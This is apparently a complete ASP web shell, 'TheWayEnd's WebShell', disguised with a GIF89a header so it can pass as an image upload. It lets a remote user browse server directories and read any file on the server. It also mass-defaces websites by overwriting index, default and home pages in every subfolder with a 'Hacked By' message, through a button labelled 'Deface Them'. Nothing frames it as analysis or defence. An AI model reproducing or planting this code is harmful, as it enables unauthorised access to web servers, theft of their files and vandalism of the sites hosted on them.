GIF89a;
<%
On Error Resume Next
Set Objeto=Server.CreateObject("Scripting.FileSystemObject")
if request("t5") <> "" then
 Set ObjPasta = Objeto.GetFolder(request("t5"))
end if 
%>
<%On Error Resume Next
if request("t3") <> "" then
Set ObjPasta2 = Objeto.GetFolder(request("t3"))
set ObjFso=server.CreateObject("Scripting.FileSystemObject")
var_caminho=request("t3")
For Each Pasta in ObjPasta2.Subfolders
 Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False)
 ObjAbreArq.writeline request("t4")
 set ObjAbreArq = nothing   
 Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False)
 ObjAbreArq.writeline request("t4")
 set ObjAbreArq = nothing   
 Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False)
 ObjAbreArq.writeline request("t4")
 set ObjAbreArq = nothing   
 Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False)
 ObjAbreArq.writeline request("t4")
 set ObjAbreArq = nothing   
 Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\twe.htm", 2, True, False)
 ObjAbreArq.writeline request("t4")
 set ObjAbreArq = nothing 
 Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False)
 ObjAbreArq.writeline request("t4")
 set ObjAbreArq = nothing   
 Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False)
 ObjAbreArq.writeline request("t4")
 set ObjAbreArq = nothing   
 Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.aspx", 2, True, False)
 ObjAbreArq.writeline request("t4")
 set ObjAbreArq = nothing   
 Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\home.asp", 2, True, False)
 set ObjAbreArq = nothing   
 Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\home.aspx", 2, True, False)
 ObjAbreArq.writeline request("t4")
  
if err then
   response.write "<font color=red><br>Way Amk.. HACKLENMEDi..! :( </font>" & pasta.name
   err=0
 else
   response.write "<br>HACKED " & pasta.name
 end if    
 set ObjAbreArq = nothing   
next
set ObjFso=nothing
Set ObjPasta2 = nothing
set ObjFso = nothing
end if
%>
<html>

<head>
<title>TheWayEnd's WebShell</title>
</head>

<body bgcolor="#C0C0C0">

<p align="center"><b><font face="Trebuchet MS" size="4">TheWayEnd WinWebShell<br>
</font></b></p>
<p align="center"><font face="Trebuchet MS"><b>Server's Informations : <%=server.mappath("win.asp")%> </b> 
</font> </p>
<form method="POST" action="win.asp">
  <p><font face="Trebuchet MS"><b>Files:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </b>  
    </font><font size="3">  
    <input name="T3" size="77" style="font-weight: 700"></font><b><br>
  <font face="Trebuchet MS">Message: </font></b><font size="3">
     <input name="T4" size="77" value="<center><h3>Hacked By TheWayEnd From Ottoman-Empire<h3><center> " style="font-weight: bold; font-family: Trebuchet MS"></font><b>
	<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
	</b><font face="Trebuchet MS">&nbsp;&nbsp;&nbsp;&nbsp;
	<font face="Trebuchet MS" size="3"> 
	<input
  type="submit" value="Deface Them !.." name="B3"></font> </font>
  </p>
</form>

<form method="POST" action="win.asp">
  <div align="center"><center>
    <p><font face="Trebuchet MS"><b>Command's</b></font> 
      <font size="3"> 
      <input name="T5" size="43"
  value="<%=request("t5")%>"><font face="Andalus"><input type="submit" value="Dir" name="B1"></font></font></p>
  </center></div>
</form>
<div align="center"><center>

<table border="1" width="70%" bordercolor="#008000" cellspacing="0" cellpadding="0">
  <tr>
    <td width="50%"><p align="center"><font face="Trebuchet MS"><b>Dir's</b></font></td>
    <td width="50%"><p align="center"><font face="Trebuchet MS"><b>Files</b></font></td>
  </tr>
  <tr>
    <td width="50%" valign="top"><b><% On Error Resume Next
     dim contador
     contador=1
      For Each Pasta in ObjPasta.Subfolders
         Response.Write Contador & "-) "& Pasta.Name & "<br>"
         contador=contador+1
      next%>
</b>
</td>
    <td width="50%" valign="top"><b><%On Error Resume Next
       For Each Arquivo in ObjPasta.Files
         Response.Write Arquivo.Name & "<br>"
       Next%>
</b>
</td>
  </tr>
</table>
</center></div>

<form method="POST" action="win.asp">
  <div align="center"><center>
    <p><b><font face="Trebuchet MS">Show the dir's :</font> </b> 
      <font size="3"> 
      <input name="TT" size="39" style="font-weight: 700"></font><b> </b>
	<font size="3" face="Trebuchet MS"> 
	<input
  type="submit" value="Show" name="B2"></font><font face="Trebuchet MS"> </font>
    </p>
  </center></div>
</form>
<b>
<%On Error Resume Next
if request("tt") <> "" then
          var_caminho=request("tt")
          set ObjFso2=server.CreateObject("Scripting.FileSystemObject")
          Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False)
           Do While Not ObjAbreArq2.AtEndOfStream
              Linha = Linha & ObjAbreArq2.Readline & chr(13)
           Loop
           response.write "<TEXTAREA NAME=sujos ROWS=10 COLS=70>" & Linha & "</TEXTAREA>"
           ObjAbreArq2.Close
           Set ObjAbreArq2 = Nothing
           ObjFso2.close
           set ObjFso2 = Nothig
end if%>
</b>
</body>
<%set ObjPasta = nothing
set Objeto = nothing%>
</html>